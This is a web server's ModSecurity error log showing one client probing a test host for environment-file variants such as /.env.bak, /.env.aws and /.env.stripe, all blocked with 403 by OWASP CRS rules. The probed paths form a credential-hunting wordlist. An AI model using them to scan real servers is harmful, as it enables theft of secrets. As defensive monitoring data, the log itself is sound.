[Wed Mar 11 20:56:51.844835 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHJAyCgtlFRCZQ_mzOvkgAAAA8"]
[Wed Mar 11 20:56:51.844991 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHJAyCgtlFRCZQ_mzOvkgAAAA8"]
[Wed Mar 11 20:56:51.845134 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abHJAyCgtlFRCZQ_mzOvkgAAAA8"]
[Wed Mar 11 20:56:51.846059 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vite"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.vite"] [unique_id "abHJA5X0JxooV6RUP8UrcAAAAA4"]
[Wed Mar 11 20:56:51.846194 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.vite"] [unique_id "abHJA5X0JxooV6RUP8UrcAAAAA4"]
[Wed Mar 11 20:56:51.846301 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.vite"] [unique_id "abHJA5X0JxooV6RUP8UrcAAAAA4"]
[Wed Mar 11 20:56:51.867045 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHJA7VttqDN05FhB27JCQAAAAs"]
[Wed Mar 11 20:56:51.867189 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHJA7VttqDN05FhB27JCQAAAAs"]
[Wed Mar 11 20:56:51.867387 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHJA7VttqDN05FhB27JCQAAAAs"]
[Wed Mar 11 20:56:51.867557 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHJA7VttqDN05FhB27JCQAAAAs"]
[Wed Mar 11 20:56:51.868482 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHJA8C_9I0i5zrBPs0AXAAAABE"]
[Wed Mar 11 20:56:51.868626 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHJA8C_9I0i5zrBPs0AXAAAABE"]
[Wed Mar 11 20:56:51.868805 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHJA8C_9I0i5zrBPs0AXAAAABE"]
[Wed Mar 11 20:56:51.868936 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHJA8C_9I0i5zrBPs0AXAAAABE"]
[Wed Mar 11 20:56:51.924541 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abHJAyCgtlFRCZQ_mzOvkwAAAA8"]
[Wed Mar 11 20:56:51.924723 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abHJAyCgtlFRCZQ_mzOvkwAAAA8"]
[Wed Mar 11 20:56:51.924867 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abHJAyCgtlFRCZQ_mzOvkwAAAA8"]
[Wed Mar 11 20:56:51.931527 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abHJA8C_9I0i5zrBPs0AXQAAABE"]
[Wed Mar 11 20:56:51.931740 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abHJA8C_9I0i5zrBPs0AXQAAABE"]
[Wed Mar 11 20:56:51.931858 2026] [:error] [pid 2634341] [client 185.177.72.60:41828] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abHJA8C_9I0i5zrBPs0AXQAAABE"]
[Wed Mar 11 20:56:51.932299 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abHJAyLTdk5HIxV82QLTygAAAAQ"]
[Wed Mar 11 20:56:51.932435 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abHJAyLTdk5HIxV82QLTygAAAAQ"]
[Wed Mar 11 20:56:51.932547 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abHJAyLTdk5HIxV82QLTygAAAAQ"]
[Wed Mar 11 20:56:51.933425 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.template"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.template"] [unique_id "abHJA6LYNbOGi8i_DeWmEQAAAAo"]
[Wed Mar 11 20:56:51.933552 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.template"] [unique_id "abHJA6LYNbOGi8i_DeWmEQAAAAo"]
[Wed Mar 11 20:56:51.933657 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.template"] [unique_id "abHJA6LYNbOGi8i_DeWmEQAAAAo"]
[Wed Mar 11 20:56:51.942543 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.txt"] [unique_id "abHJAykCWy977yPh9ymvMwAAAAc"]
[Wed Mar 11 20:56:51.942687 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.txt"] [unique_id "abHJAykCWy977yPh9ymvMwAAAAc"]
[Wed Mar 11 20:56:51.942838 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.txt"] [unique_id "abHJAykCWy977yPh9ymvMwAAAAc"]
[Wed Mar 11 20:56:51.961101 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "abHJA-BvFsx28IYw-q9nGwAAAAg"]
[Wed Mar 11 20:56:51.961253 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "abHJA-BvFsx28IYw-q9nGwAAAAg"]
[Wed Mar 11 20:56:51.961384 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "abHJA-BvFsx28IYw-q9nGwAAAAg"]
[Wed Mar 11 20:56:51.976915 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stripe"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stripe"] [unique_id "abHJA90ogWVDBS0cZUmEqAAAABI"]
[Wed Mar 11 20:56:51.977082 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stripe"] [unique_id "abHJA90ogWVDBS0cZUmEqAAAABI"]
[Wed Mar 11 20:56:51.977210 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stripe"] [unique_id "abHJA90ogWVDBS0cZUmEqAAAABI"]
[Wed Mar 11 20:56:52.013696 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abHJBCLTdk5HIxV82QLTywAAAAQ"]
[Wed Mar 11 20:56:52.013888 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abHJBCLTdk5HIxV82QLTywAAAAQ"]
[Wed Mar 11 20:56:52.014085 2026] [:error] [pid 2634334] [client 185.177.72.60:41734] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abHJBCLTdk5HIxV82QLTywAAAAQ"]
